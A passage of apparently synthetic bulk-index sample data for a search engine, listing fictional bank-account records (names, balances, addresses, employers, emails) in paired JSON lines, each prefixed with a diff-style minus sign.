-{"index":{"_id":"759"}} -{"account_number":759,"balance":38007,"firstname":"Rose","lastname":"Carlson","age":27,"gender":"M","address":"987 Navy Street","employer":"Aquasure","email":"rosecarlson@aquasure.com","city":"Carlton","state":"CT"} -{"index":{"_id":"761"}} -{"account_number":761,"balance":7663,"firstname":"Rae","lastname":"Juarez","age":34,"gender":"F","address":"560 Gilmore Court","employer":"Entropix","email":"raejuarez@entropix.com","city":"Northchase","state":"ID"} -{"index":{"_id":"766"}} -{"account_number":766,"balance":21957,"firstname":"Thomas","lastname":"Gillespie","age":38,"gender":"M","address":"993 Williams Place","employer":"Octocore","email":"thomasgillespie@octocore.com","city":"Defiance","state":"MS"} -{"index":{"_id":"773"}} -{"account_number":773,"balance":31126,"firstname":"Liza","lastname":"Coffey","age":36,"gender":"F","address":"540 Bulwer Place","employer":"Assurity","email":"lizacoffey@assurity.com","city":"Gilgo","state":"WV"} -{"index":{"_id":"778"}} -{"account_number":778,"balance":46007,"firstname":"Underwood","lastname":"Wheeler","age":28,"gender":"M","address":"477 Provost Street","employer":"Decratex","email":"underwoodwheeler@decratex.com","city":"Sardis","state":"ID"} -{"index":{"_id":"780"}} -{"account_number":780,"balance":4682,"firstname":"Maryanne","lastname":"Hendricks","age":26,"gender":"F","address":"709 Wolcott Street","employer":"Sarasonic","email":"maryannehendricks@sarasonic.com","city":"Santel","state":"NH"} -{"index":{"_id":"785"}} -{"account_number":785,"balance":25078,"firstname":"Fields","lastname":"Lester","age":29,"gender":"M","address":"808 Chestnut Avenue","employer":"Visualix","email":"fieldslester@visualix.com","city":"Rowe","state":"PA"} -{"index":{"_id":"792"}} -{"account_number":792,"balance":13109,"firstname":"Becky","lastname":"Jimenez","age":40,"gender":"F","address":"539 Front Street","employer":"Isologia","email":"beckyjimenez@isologia.com","city":"Summertown","state":"MI"} -{"index":{"_id":"797"}} -{"account_number":797,"balance":6854,"firstname":"Lindsay","lastname":"Mills","age":26,"gender":"F","address":"919 Quay Street","employer":"Zoinage","email":"lindsaymills@zoinage.com","city":"Elliston","state":"VA"} -{"index":{"_id":"800"}} -{"account_number":800,"balance":26217,"firstname":"Candy","lastname":"Oconnor","age":28,"gender":"M","address":"200 Newel Street","employer":"Radiantix","email":"candyoconnor@radiantix.com","city":"Sandston","state":"OH"} -{"index":{"_id":"805"}} -{"account_number":805,"balance":18426,"firstname":"Jackson","lastname":"Sampson","age":27,"gender":"F","address":"722 Kenmore Court","employer":"Daido","email":"jacksonsampson@daido.com","city":"Bellamy","state":"ME"} -{"index":{"_id":"812"}} -{"account_number":812,"balance":42593,"firstname":"Graves","lastname":"Newman","age":32,"gender":"F","address":"916 Joralemon Street","employer":"Ecrater","email":"gravesnewman@ecrater.com","city":"Crown","state":"PA"} -{"index":{"_id":"817"}} -{"account_number":817,"balance":36582,"firstname":"Padilla","lastname":"Bauer","age":36,"gender":"F","address":"310 Cadman Plaza","employer":"Exoblue","email":"padillabauer@exoblue.com","city":"Ahwahnee","state":"MN"} -{"index":{"_id":"824"}} -{"account_number":824,"balance":6053,"firstname":"Dyer","lastname":"Henson","age":33,"gender":"M","address":"650 Seaview Avenue","employer":"Nitracyr","email":"dyerhenson@nitracyr.com","city":"Gibsonia","state":"KS"} -{"index":{"_id":"829"}} -{"account_number":829,"balance":20263,"firstname":"Althea","lastname":"Bell","age":37,"gender":"M","address":"319 Cook Street","employer":"Hyplex","email":"altheabell@hyplex.com","city":"Wadsworth","state":"DC"} -{"index":{"_id":"831"}} -{"account_number":831,"balance":25375,"firstname":"Wendy","lastname":"Savage","age":37,"gender":"M","address":"421 Veranda Place","employer":"Neurocell","email":"wendysavage@neurocell.com","city":"Fresno","state":"MS"} -{"index":{"_id":"836"}} -{"account_number":836,"balance":20797,"firstname":"Lloyd","lastname":"Lindsay","age":25,"gender":"F","address":"953 Dinsmore Place","employer":"Suretech","email":"lloydlindsay@suretech.com","city":"Conway","state":"VA"} -{"index":{"_id":"843"}} -{"account_number":843,"balance":15555,"firstname":"Patricia","lastname":"Barton","age":34,"gender":"F","address":"406 Seabring Street","employer":"Providco","email":"patriciabarton@providco.com","city":"Avoca","state":"RI"} -{"index":{"_id":"848"}} -{"account_number":848,"balance":15443,"firstname":"Carmella","lastname":"Cash","age":38,"gender":"M","address":"988 Exeter Street","employer":"Bristo","email":"carmellacash@bristo.com","city":"Northridge","state":"ID"} -{"index":{"_id":"850"}} -{"account_number":850,"balance":6531,"firstname":"Carlene","lastname":"Gaines","age":37,"gender":"F","address":"753 Monroe Place","employer":"Naxdis","email":"carlenegaines@naxdis.com","city":"Genoa","state":"OR"} -{"index":{"_id":"855"}} -{"account_number":855,"balance":40170,"firstname":"Mia","lastname":"Stevens","age":31,"gender":"F","address":"326 Driggs Avenue","employer":"Aeora","email":"miastevens@aeora.com","city":"Delwood","state":"IL"} -{"index":{"_id":"862"}} -{"account_number":862,"balance":38792,"firstname":"Clayton","lastname":"Golden","age":38,"gender":"F","address":"620 Regent Place","employer":"Accusage","email":"claytongolden@accusage.com","city":"Ona","state":"NC"} -{"index":{"_id":"867"}} -{"account_number":867,"balance":45453,"firstname":"Blanca","lastname":"Ellison","age":23,"gender":"F","address":"593 McKibben Street","employer":"Koogle","email":"blancaellison@koogle.com","city":"Frystown","state":"WY"} -{"index":{"_id":"874"}} -{"account_number":874,"balance":23079,"firstname":"Lynette","lastname":"Higgins","age":22,"gender":"M","address":"377 McKinley Avenue","employer":"Menbrain","email":"lynettehiggins@menbrain.com","city":"Manitou","state":"TX"} -{"index":{"_id":"879"}} -{"account_number":879,"balance":48332,"firstname":"Sabrina","lastname":"Lancaster","age":31,"gender":"F","address":"382 Oak Street","employer":"Webiotic","email":"sabrinalancaster@webiotic.com","city":"Lindisfarne","state":"AZ"} -{"index":{"_id":"881"}} -{"account_number":881,"balance":26684,"firstname":"Barnes","lastname":"Ware","age":38,"gender":"F","address":"666 Hooper Street","employer":"Norali","email":"barnesware@norali.com","city":"Cazadero","state":"GA"} -{"index":{"_id":"886"}} -{"account_number":886,"balance":14867,"firstname":"Willa","lastname":"Leblanc","age":38,"gender":"F","address":"773 Bergen Street","employer":"Nurali","email":"willaleblanc@nurali.com","city":"Hilltop","state":"NC"} -{"index":{"_id":"893"}} -{"account_number":893,"balance":42584,"firstname":"Moses","lastname":"Campos","age":38,"gender":"F","address":"991 Bevy Court","employer":"Trollery","email":"mosescampos@trollery.com","city":"Freetown","state":"AK"} -{"index":{"_id":"898"}} -{"account_number":898,"balance":12019,"firstname":"Lori","lastname":"Stevenson","age":29,"gender":"M","address":"910 Coles Street","employer":"Honotron","email":"loristevenson@honotron.com","city":"Shindler","state":"VT"} -{"index":{"_id":"901"}} -{"account_number":901,"balance":35038,"firstname":"Irma","lastname":"Dotson","age":23,"gender":"F","address":"245 Mayfair Drive","employer":"Bleeko","email":"irmadotson@bleeko.com","city":"Lodoga","state":"UT"} -{"index":{"_id":"906"}} -{"account_number":906,"balance":24073,"firstname":"Vicki","lastname":"Suarez","age":36,"gender":"M","address":"829 Roosevelt Place","employer":"Utara","email":"vickisuarez@utara.com","city":"Albrightsville","state":"AR"} -{"index":{"_id":"913"}} -{"account_number":913,"balance":47657,"firstname":"Margery","lastname":"Monroe","age":25,"gender":"M","address":"941 Fanchon Place","employer":"Exerta","email":"margerymonroe@exerta.com","city":"Bannock","state":"MD"} -{"index":{"_id":"918"}} -{"account_number":918,"balance":36776,"firstname":"Dianna","lastname":"Hernandez","age":25,"gender":"M","address":"499 Moultrie Street","employer":"Isologica","email":"diannahernandez@isologica.com","city":"Falconaire","state":"ID"} -{"index":{"_id":"920"}} -{"account_number":920,"balance":41513,"firstname":"Jerri","lastname":"Mitchell","age":26,"gender":"M","address":"831 Kent Street","employer":"Tasmania","email":"jerrimitchell@tasmania.com","city":"Cotopaxi","state":"IA"} -{"index":{"_id":"925"}} -{"account_number":925,"balance":18295,"firstname":"Rosario","lastname":"Jackson","age":24,"gender":"M","address":"178 Leonora Court","employer":"Progenex","email":"rosariojackson@progenex.com","city":"Rivereno","state":"DE"} -{"index":{"_id":"932"}} -{"account_number":932,"balance":3111,"firstname":"Summer","lastname":"Porter","age":33,"gender":"F","address":"949 Grand Avenue","employer":"Multiflex","email":"summerporter@multiflex.com","city":"Spokane","state":"OK"} -{"index":{"_id":"937"}} -{"account_number":937,"balance":43491,"firstname":"Selma","lastname":"Anderson","age":24,"gender":"M","address":"205 Reed Street","employer":"Dadabase","email":"selmaanderson@dadabase.com","city":"Malo","state":"AL"} -{"index":{"_id":"944"}} -{"account_number":944,"balance":46478,"firstname":"Donaldson","lastname":"Woodard","age":38,"gender":"F","address":"498 Laurel Avenue","employer":"Zogak","email":"donaldsonwoodard@zogak.com","city":"Hasty","state":"ID"} -{"index":{"_id":"949"}} -{"account_number":949,"balance":48703,"firstname":"Latasha","lastname":"Mullins","age":29,"gender":"F","address":"272 Lefferts Place","employer":"Zenolux","email":"latashamullins@zenolux.com","city":"Kieler","state":"MN"} -{"index":{"_id":"951"}} -{"account_number":951,"balance":36337,"firstname":"Tran","lastname":"Burris","age":25,"gender":"F","address":"561 Rutland Road","employer":"Geoform","email":"tranburris@geoform.com","city":"Longbranch","state":"IL"} -{"index":{"_id":"956"}} -{"account_number":956,"balance":19477,"firstname":"Randall","lastname":"Lynch","age":22,"gender":"F","address":"490 Madison Place","employer":"Cosmetex","email":"randalllynch@cosmetex.com","city":"Wells","state":"SD"} -{"index":{"_id":"963"}} -{"account_number":963,"balance":30461,"firstname":"Griffin","lastname":"Sheppard","age":20,"gender":"M","address":"682 Linden Street","employer":"Zanymax","email":"griffinsheppard@zanymax.com","city":"Fannett","state":"NM"} -{"index":{"_id":"968"}} -{"account_number":968,"balance":32371,"firstname":"Luella","lastname":"Burch","age":39,"gender":"M","address":"684 Arkansas Drive","employer":"Krag","email":"luellaburch@krag.com","city":"Brambleton","state":"SD"} -{"index":{"_id":"970"}} -{"account_number":970,"balance":19648,"firstname":"Forbes","lastname":"Wallace","age":28,"gender":"M","address":"990 Mill Road","employer":"Pheast","email":"forbeswallace@pheast.com","city":"Lopezo","state":"AK"} -{"index":{"_id":"975"}} -{"account_number":975,"balance":5239,"firstname":"Delores","lastname":"Booker","age":27,"gender":"F","address":"328 Conselyea Street","employer":"Centice","email":"deloresbooker@centice.com","city":"Williams","state":"HI"} -{"index":{"_id":"982"}} -{"account_number":982,"balance":16511,"firstname":"Buck","lastname":"Robinson","age":24,"gender":"M","address":"301 Melrose Street","employer":"Calcu","email":"buckrobinson@calcu.com","city":"Welch","state":"PA"} -{"index":{"_id":"987"}} -{"account_number":987,"balance":4072,"firstname":"Brock","lastname":"Sandoval","age":20,"gender":"F","address":"977 Gem Street","employer":"Fiberox","email":"brocksandoval@fiberox.com","city":"Celeryville","state":"NY"} -{"index":{"_id":"994"}} -{"account_number":994,"balance":33298,"firstname":"Madge","lastname":"Holcomb","age":31,"gender":"M","address":"612 Hawthorne Street","employer":"Escenta","email":"madgeholcomb@escenta.com","city":"Alafaya","state":"OR"} -{"index":{"_id":"999"}} -{"account_number":999,"balance":6087,"firstname":"Dorothy","lastname":"Barron","age":22,"gender":"F","address":"499 Laurel Avenue","employer":"Xurban","email":"dorothybarron@xurban.com","city":"Belvoir","state":"CA"} -{"index":{"_id":"4"}} -{"account_number":4,"balance":27658,"firstname":"Rodriquez","lastname":"Flores","age":31,"gender":"F","address":"986 Wyckoff Avenue","employer":"Tourmania","email":"rodriquezflores@tourmania.com","city":"Eastvale","state":"HI"} -{"index":{"_id":"9"}} -{"account_number":9,"balance":24776,"firstname":"Opal","lastname":"Meadows","age":39,"gender":"M","address":"963 Neptune Avenue","employer":"Cedward","email":"opalmeadows@cedward.com","city":"Olney","state":"OH"} -{"index":{"_id":"11"}} -{"account_number":11,"balance":20203,"firstname":"Jenkins","lastname":"Haney","age":20,"gender":"M","address":"740 Ferry Place","employer":"Qimonk","email":"jenkinshaney@qimonk.com","city":"Steinhatchee","state":"GA"} -{"index":{"_id":"16"}} -{"account_number":16,"balance":35883,"firstname":"Adrian","lastname":"Pitts","age":34,"gender":"F","address":"963 Fay Court","employer":"Combogene","email":"adrianpitts@combogene.com","city":"Remington","state":"SD"} -{"index":{"_id":"23"}} -{"account_number":23,"balance":42374,"firstname":"Kirsten","lastname":"Fox","age":20,"gender":"M","address":"330 Dumont Avenue","employer":"Codax","email":"kirstenfox@codax.com","city":"Walton","state":"AK"} -{"index":{"_id":"28"}} -{"account_number":28,"balance":42112,"firstname":"Vega","lastname":"Flynn","age":20,"gender":"M","address":"647 Hyman Court","employer":"Accupharm","email":"vegaflynn@accupharm.com","city":"Masthope","state":"OH"} -{"index":{"_id":"30"}} -{"account_number":30,"balance":19087,"firstname":"Lamb","lastname":"Townsend","age":26,"gender":"M","address":"169 Lyme Avenue","employer":"Geeknet","email":"lambtownsend@geeknet.com","city":"Epworth","state":"AL"} -{"index":{"_id":"35"}} -{"account_number":35,"balance":42039,"firstname":"Darla","lastname":"Bridges","age":27,"gender":"F","address":"315 Central Avenue","employer":"Xeronk","email":"darlabridges@xeronk.com","city":"Woodlake","state":"RI"} -{"index":{"_id":"42"}} -{"account_number":42,"balance":21137,"firstname":"Harding","lastname":"Hobbs","age":26,"gender":"F","address":"474 Ridgewood Place","employer":"Xth","email":"hardinghobbs@xth.com","city":"Heil","state":"ND"} -{"index":{"_id":"47"}} -{"account_number":47,"balance":33044,"firstname":"Georgia","lastname":"Wilkerson","age":23,"gender":"M","address":"369 Herbert Street","employer":"Endipin","email":"georgiawilkerson@endipin.com","city":"Dellview","state":"WI"} -{"index":{"_id":"54"}} -{"account_number":54,"balance":23406,"firstname":"Angel","lastname":"Mann","age":22,"gender":"F","address":"229 Ferris Street","employer":"Amtas","email":"angelmann@amtas.com","city":"Calverton","state":"WA"} -{"index":{"_id":"59"}} -{"account_number":59,"balance":37728,"firstname":"Malone","lastname":"Justice","age":37,"gender":"F","address":"721 Russell Street","employer":"Emoltra","email":"malonejustice@emoltra.com","city":"Trucksville","state":"HI"} -{"index":{"_id":"61"}} -{"account_number":61,"balance":6856,"firstname":"Shawn","lastname":"Baird","age":20,"gender":"M","address":"605 Monument Walk","employer":"Moltonic","email":"shawnbaird@moltonic.com","city":"Darlington","state":"MN"} -{"index":{"_id":"66"}} -{"account_number":66,"balance":25939,"firstname":"Franks","lastname":"Salinas","age":28,"gender":"M","address":"437 Hamilton Walk","employer":"Cowtown","email":"frankssalinas@cowtown.com","city":"Chase","state":"VT"} -{"index":{"_id":"73"}} -{"account_number":73,"balance":33457,"firstname":"Irene","lastname":"Stephenson","age":32,"gender":"M","address":"684 Miller Avenue","employer":"Hawkster","email":"irenestephenson@hawkster.com","city":"Levant","state":"AR"} -{"index":{"_id":"78"}} -{"account_number":78,"balance":48656,"firstname":"Elvira","lastname":"Patterson","age":23,"gender":"F","address":"834 Amber Street","employer":"Assistix","email":"elvirapatterson@assistix.com","city":"Dunbar","state":"TN"} -{"index":{"_id":"80"}} -{"account_number":80,"balance":13445,"firstname":"Lacey","lastname":"Blanchard","age":30,"gender":"F","address":"823 Himrod Street","employer":"Comdom","email":"laceyblanchard@comdom.com","city":"Matthews","state":"MO"} -{"index":{"_id":"85"}} -{"account_number":85,"balance":48735,"firstname":"Wilcox","lastname":"Sellers","age":20,"gender":"M","address":"212 Irving Avenue","employer":"Confrenzy","email":"wilcoxsellers@confrenzy.com","city":"Kipp","state":"MT"} -{"index":{"_id":"92"}} -{"account_number":92,"balance":26753,"firstname":"Gay","lastname":"Brewer","age":34,"gender":"M","address":"369 Ditmars Street","employer":"Savvy","email":"gaybrewer@savvy.com","city":"Moquino","state":"HI"} -{"index":{"_id":"97"}} -{"account_number":97,"balance":49671,"firstname":"Karen","lastname":"Trujillo","age":40,"gender":"F","address":"512 Cumberland Walk","employer":"Tsunamia","email":"karentrujillo@tsunamia.com","city":"Fredericktown","state":"MO"} -{"index":{"_id":"100"}} -{"account_number":100,"balance":29869,"firstname":"Madden","lastname":"Woods","age":32,"gender":"F","address":"696 Ryder Avenue","employer":"Slumberia","email":"maddenwoods@slumberia.com","city":"Deercroft","state":"ME"} -{"index":{"_id":"105"}} -{"account_number":105,"balance":29654,"firstname":"Castillo","lastname":"Dickerson","age":33,"gender":"F","address":"673 Oxford Street","employer":"Tellifly","email":"castillodickerson@tellifly.com","city":"Succasunna","state":"NY"} -{"index":{"_id":"112"}} -{"account_number":112,"balance":38395,"firstname":"Frederick","lastname":"Case","age":30,"gender":"F","address":"580 Lexington Avenue","employer":"Talkalot","email":"frederickcase@talkalot.com","city":"Orovada","state":"MA"} -{"index":{"_id":"117"}} -{"account_number":117,"balance":48831,"firstname":"Robin","lastname":"Hays","age":38,"gender":"F","address":"347 Hornell Loop","employer":"Pasturia","email":"robinhays@pasturia.com","city":"Sims","state":"WY"} -{"index":{"_id":"124"}} -{"account_number":124,"balance":16425,"firstname":"Fern","lastname":"Lambert","age":20,"gender":"M","address":"511 Jay Street","employer":"Furnitech","email":"fernlambert@furnitech.com","city":"Cloverdale","state":"FL"} -{"index":{"_id":"129"}} -{"account_number":129,"balance":42409,"firstname":"Alexandria","lastname":"Sanford","age":33,"gender":"F","address":"934 Ridgecrest Terrace","employer":"Kyagoro","email":"alexandriasanford@kyagoro.com","city":"Concho","state":"UT"} -{"index":{"_id":"131"}} -{"account_number":131,"balance":28030,"firstname":"Dollie","lastname":"Koch","age":22,"gender":"F","address":"287 Manhattan Avenue","employer":"Skinserve","email":"dolliekoch@skinserve.com","city":"Shasta","state":"PA"} -{"index":{"_id":"136"}} -{"account_number":136,"balance":45801,"firstname":"Winnie","lastname":"Holland","age":38,"gender":"M","address":"198 Mill Lane","employer":"Neteria","email":"winnieholland@neteria.com","city":"Urie","state":"IL"} -{"index":{"_id":"143"}} -{"account_number":143,"balance":43093,"firstname":"Cohen","lastname":"Noble","age":39,"gender":"M","address":"454 Nelson Street","employer":"Buzzworks","email":"cohennoble@buzzworks.com","city":"Norvelt","state":"CO"} -{"index":{"_id":"148"}} -{"account_number":148,"balance":3662,"firstname":"Annmarie","lastname":"Snider","age":34,"gender":"F","address":"857 Lafayette Walk","employer":"Edecine","email":"annmariesnider@edecine.com","city":"Hollins","state":"OH"} -{"index":{"_id":"150"}} -{"account_number":150,"balance":15306,"firstname":"Ortega","lastname":"Dalton","age":20,"gender":"M","address":"237 Mermaid Avenue","employer":"Rameon","email":"ortegadalton@rameon.com","city":"Maxville","state":"NH"} -{"index":{"_id":"155"}} -{"account_number":155,"balance":27878,"firstname":"Atkinson","lastname":"Hudson","age":39,"gender":"F","address":"434 Colin Place","employer":"Qualitern","email":"atkinsonhudson@qualitern.com","city":"Hoehne","state":"OH"} -{"index":{"_id":"162"}} -{"account_number":162,"balance":6302,"firstname":"Griffith","lastname":"Calderon","age":35,"gender":"M","address":"871 Vandervoort Place","employer":"Quotezart","email":"griffithcalderon@quotezart.com","city":"Barclay","state":"FL"} -{"index":{"_id":"167"}} -{"account_number":167,"balance":42051,"firstname":"Hampton","lastname":"Ryan","age":20,"gender":"M","address":"618 Fleet Place","employer":"Zipak","email":"hamptonryan@zipak.com","city":"Irwin","state":"KS"} -{"index":{"_id":"174"}} -{"account_number":174,"balance":1464,"firstname":"Gamble","lastname":"Pierce","age":23,"gender":"F","address":"650 Eagle Street","employer":"Matrixity","email":"gamblepierce@matrixity.com","city":"Abiquiu","state":"OR"} -{"index":{"_id":"179"}} -{"account_number":179,"balance":13265,"firstname":"Elise","lastname":"Drake","age":25,"gender":"M","address":"305 Christopher Avenue","employer":"Turnling","email":"elisedrake@turnling.com","city":"Loretto","state":"LA"} -{"index":{"_id":"181"}} -{"account_number":181,"balance":27983,"firstname":"Bennett","lastname":"Hampton","age":22,"gender":"F","address":"435 Billings Place","employer":"Voipa","email":"bennetthampton@voipa.com","city":"Rodman","state":"WY"} -{"index":{"_id":"186"}} -{"account_number":186,"balance":18373,"firstname":"Kline","lastname":"Joyce","age":32,"gender":"M","address":"285 Falmouth Street","employer":"Tetratrex","email":"klinejoyce@tetratrex.com","city":"Klondike","state":"SD"} -{"index":{"_id":"193"}} -{"account_number":193,"balance":13412,"firstname":"Patty","lastname":"Petty","age":34,"gender":"F","address":"251 Vermont Street","employer":"Kinetica","email":"pattypetty@kinetica.com","city":"Grantville","state":"MS"} -{"index":{"_id":"198"}} -{"account_number":198,"balance":19686,"firstname":"Rachael","lastname":"Sharp","age":38,"gender":"F","address":"443 Vernon Avenue","employer":"Powernet","email":"rachaelsharp@powernet.com","city":"Canoochee","state":"UT"} -{"index":{"_id":"201"}} -{"account_number":201,"balance":14586,"firstname":"Ronda","lastname":"Perry","age":25,"gender":"F","address":"856 Downing Street","employer":"Artiq","email":"rondaperry@artiq.com","city":"Colton","state":"WV"} -{"index":{"_id":"206"}} -{"account_number":206,"balance":47423,"firstname":"Kelli","lastname":"Francis","age":20,"gender":"M","address":"671 George Street","employer":"Exoswitch","email":"kellifrancis@exoswitch.com","city":"Babb","state":"NJ"} -{"index":{"_id":"213"}} -{"account_number":213,"balance":34172,"firstname":"Bauer","lastname":"Summers","age":27,"gender":"M","address":"257 Boynton Place","employer":"Voratak","email":"bauersummers@voratak.com","city":"Oceola","state":"NC"} -{"index":{"_id":"218"}} -{"account_number":218,"balance":26702,"firstname":"Garrison","lastname":"Bryan","age":24,"gender":"F","address":"478 Greenpoint Avenue","employer":"Uniworld","email":"garrisonbryan@uniworld.com","city":"Comptche","state":"WI"} -{"index":{"_id":"220"}} -{"account_number":220,"balance":3086,"firstname":"Tania","lastname":"Middleton","age":22,"gender":"F","address":"541 Gunther Place","employer":"Zerology","email":"taniamiddleton@zerology.com","city":"Linwood","state":"IN"} -{"index":{"_id":"225"}} -{"account_number":225,"balance":21949,"firstname":"Maryann","lastname":"Murphy","age":24,"gender":"F","address":"894 Bridgewater Street","employer":"Cinesanct","email":"maryannmurphy@cinesanct.com","city":"Cartwright","state":"RI"} -{"index":{"_id":"232"}} -{"account_number":232,"balance":11984,"firstname":"Carr","lastname":"Jensen","age":34,"gender":"F","address":"995 Micieli Place","employer":"Biohab","email":"carrjensen@biohab.com","city":"Waikele","state":"OH"} -{"index":{"_id":"237"}} -{"account_number":237,"balance":5603,"firstname":"Kirby","lastname":"Watkins","age":27,"gender":"F","address":"348 Blake Court","employer":"Sonique","email":"kirbywatkins@sonique.com","city":"Freelandville","state":"PA"} -{"index":{"_id":"244"}} -{"account_number":244,"balance":8048,"firstname":"Judith","lastname":"Riggs","age":27,"gender":"F","address":"590 Kosciusko Street","employer":"Arctiq","email":"judithriggs@arctiq.com","city":"Gorham","state":"DC"} -{"index":{"_id":"249"}} -{"account_number":249,"balance":16822,"firstname":"Mckinney","lastname":"Gallagher","age":38,"gender":"F","address":"939 Seigel Court","employer":"Premiant","email":"mckinneygallagher@premiant.com","city":"Catharine","state":"NH"} -{"index":{"_id":"251"}} -{"account_number":251,"balance":13475,"firstname":"Marks","lastname":"Graves","age":39,"gender":"F","address":"427 Lawn Court","employer":"Dentrex","email":"marksgraves@dentrex.com","city":"Waukeenah","state":"IL"} -{"index":{"_id":"256"}} -{"account_number":256,"balance":48318,"firstname":"Simon","lastname":"Hogan","age":31,"gender":"M","address":"789 Suydam Place","employer":"Dancerity","email":"simonhogan@dancerity.com","city":"Dargan","state":"GA"} -{"index":{"_id":"263"}} -{"account_number":263,"balance":12837,"firstname":"Thornton","lastname":"Meyer","age":29,"gender":"M","address":"575 Elliott Place","employer":"Peticular","email":"thorntonmeyer@peticular.com","city":"Dotsero","state":"NH"} -{"index":{"_id":"268"}} -{"account_number":268,"balance":20925,"firstname":"Avis","lastname":"Blackwell","age":36,"gender":"M","address":"569 Jerome Avenue","employer":"Magnina","email":"avisblackwell@magnina.com","city":"Bethany","state":"MD"} -{"index":{"_id":"270"}} -{"account_number":270,"balance":43951,"firstname":"Moody","lastname":"Harmon","age":39,"gender":"F","address":"233 Vanderbilt Street","employer":"Otherside","email":"moodyharmon@otherside.com","city":"Elwood","state":"MT"} -{"index":{"_id":"275"}} -{"account_number":275,"balance":2384,"firstname":"Reynolds","lastname":"Barnett","age":31,"gender":"M","address":"394 Stockton Street","employer":"Austex","email":"reynoldsbarnett@austex.com","city":"Grandview","state":"MS"} -{"index":{"_id":"282"}} -{"account_number":282,"balance":38540,"firstname":"Gay","lastname":"Schultz","age":25,"gender":"F","address":"805 Claver Place","employer":"Handshake","email":"gayschultz@handshake.com","city":"Tampico","state":"MA"} -{"index":{"_id":"287"}} -{"account_number":287,"balance":10845,"firstname":"Valerie","lastname":"Lang","age":35,"gender":"F","address":"423 Midwood Street","employer":"Quarx","email":"valerielang@quarx.com","city":"Cannondale","state":"VT"} -{"index":{"_id":"294"}} -{"account_number":294,"balance":29582,"firstname":"Pitts","lastname":"Haynes","age":26,"gender":"M","address":"901 Broome Street","employer":"Aquazure","email":"pittshaynes@aquazure.com","city":"Turah","state":"SD"} -{"index":{"_id":"299"}} -{"account_number":299,"balance":40825,"firstname":"Angela","lastname":"Talley","age":36,"gender":"F","address":"822 Bills Place","employer":"Remold","email":"angelatalley@remold.com","city":"Bethpage","state":"DC"} -{"index":{"_id":"302"}} -{"account_number":302,"balance":11298,"firstname":"Isabella","lastname":"Hewitt","age":40,"gender":"M","address":"455 Bedford Avenue","employer":"Cincyr","email":"isabellahewitt@cincyr.com","city":"Blanford","state":"IN"} -{"index":{"_id":"307"}} -{"account_number":307,"balance":43355,"firstname":"Enid","lastname":"Ashley","age":23,"gender":"M","address":"412 Emerson Place","employer":"Avenetro","email":"enidashley@avenetro.com","city":"Catherine","state":"WI"} -{"index":{"_id":"314"}} -{"account_number":314,"balance":5848,"firstname":"Norton","lastname":"Norton","age":35,"gender":"M","address":"252 Ditmas Avenue","employer":"Talkola","email":"nortonnorton@talkola.com","city":"Veyo","state":"SC"} -{"index":{"_id":"319"}} -{"account_number":319,"balance":15430,"firstname":"Ferrell","lastname":"Mckinney","age":36,"gender":"M","address":"874 Cranberry Street","employer":"Portaline","email":"ferrellmckinney@portaline.com","city":"Rose","state":"WV"} -{"index":{"_id":"321"}} -{"account_number":321,"balance":43370,"firstname":"Marta","lastname":"Larsen","age":35,"gender":"M","address":"617 Williams Court","employer":"Manufact","email":"martalarsen@manufact.com","city":"Sisquoc","state":"MA"} -{"index":{"_id":"326"}} -{"account_number":326,"balance":9692,"firstname":"Pearl","lastname":"Reese","age":30,"gender":"F","address":"451 Colonial Court","employer":"Accruex","email":"pearlreese@accruex.com","city":"Westmoreland","state":"MD"} -{"index":{"_id":"333"}} -{"account_number":333,"balance":22778,"firstname":"Trudy","lastname":"Sweet","age":27,"gender":"F","address":"881 Kiely Place","employer":"Acumentor","email":"trudysweet@acumentor.com","city":"Kent","state":"IA"} -{"index":{"_id":"338"}} -{"account_number":338,"balance":6969,"firstname":"Pierce","lastname":"Lawrence","age":35,"gender":"M","address":"318 Gallatin Place","employer":"Lunchpad","email":"piercelawrence@lunchpad.com","city":"Iola","state":"MD"} -{"index":{"_id":"340"}} -{"account_number":340,"balance":42072,"firstname":"Juarez","lastname":"Gutierrez","age":40,"gender":"F","address":"802 Seba Avenue","employer":"Billmed","email":"juarezgutierrez@billmed.com","city":"Malott","state":"OH"} -{"index":{"_id":"345"}} -{"account_number":345,"balance":9812,"firstname":"Parker","lastname":"Hines","age":38,"gender":"M","address":"715 Mill Avenue","employer":"Baluba","email":"parkerhines@baluba.com","city":"Blackgum","state":"KY"} -{"index":{"_id":"352"}} -{"account_number":352,"balance":20290,"firstname":"Kendra","lastname":"Mcintosh","age":31,"gender":"F","address":"963 Wolf Place","employer":"Orboid","email":"kendramcintosh@orboid.com","city":"Bladensburg","state":"AK"} -{"index":{"_id":"357"}} -{"account_number":357,"balance":15102,"firstname":"Adele","lastname":"Carroll","age":39,"gender":"F","address":"381 Arion Place","employer":"Aquafire","email":"adelecarroll@aquafire.com","city":"Springville","state":"RI"} -{"index":{"_id":"364"}} -{"account_number":364,"balance":35247,"firstname":"Felicia","lastname":"Merrill","age":40,"gender":"F","address":"229 Branton Street","employer":"Prosely","email":"feliciamerrill@prosely.com","city":"Dola","state":"MA"} -{"index":{"_id":"369"}} -{"account_number":369,"balance":17047,"firstname":"Mcfadden","lastname":"Guy","age":28,"gender":"F","address":"445 Lott Avenue","employer":"Kangle","email":"mcfaddenguy@kangle.com","city":"Greenbackville","state":"DE"} -{"index":{"_id":"371"}} -{"account_number":371,"balance":19751,"firstname":"Barker","lastname":"Allen","age":32,"gender":"F","address":"295 Wallabout Street","employer":"Nexgene","email":"barkerallen@nexgene.com","city":"Nanafalia","state":"NE"} -{"index":{"_id":"376"}} -{"account_number":376,"balance":44407,"firstname":"Mcmillan","lastname":"Dunn","age":21,"gender":"F","address":"771 Dorchester Road","employer":"Eargo","email":"mcmillandunn@eargo.com","city":"Yogaville","state":"RI"} -{"index":{"_id":"383"}} -{"account_number":383,"balance":48889,"firstname":"Knox","lastname":"Larson","age":28,"gender":"F","address":"962 Bartlett Place","employer":"Bostonic","email":"knoxlarson@bostonic.com","city":"Smeltertown","state":"TX"} -{"index":{"_id":"388"}} -{"account_number":388,"balance":9606,"firstname":"Julianne","lastname":"Nicholson","age":26,"gender":"F","address":"338 Crescent Street","employer":"Viasia","email":"juliannenicholson@viasia.com","city":"Alleghenyville","state":"MO"} -{"index":{"_id":"390"}} -{"account_number":390,"balance":7464,"firstname":"Ramona","lastname":"Roy","age":32,"gender":"M","address":"135 Banner Avenue","employer":"Deminimum","email":"ramonaroy@deminimum.com","city":"Dodge","state":"ID"} -{"index":{"_id":"395"}} -{"account_number":395,"balance":18679,"firstname":"Juliet","lastname":"Whitaker","age":31,"gender":"M","address":"128 Remsen 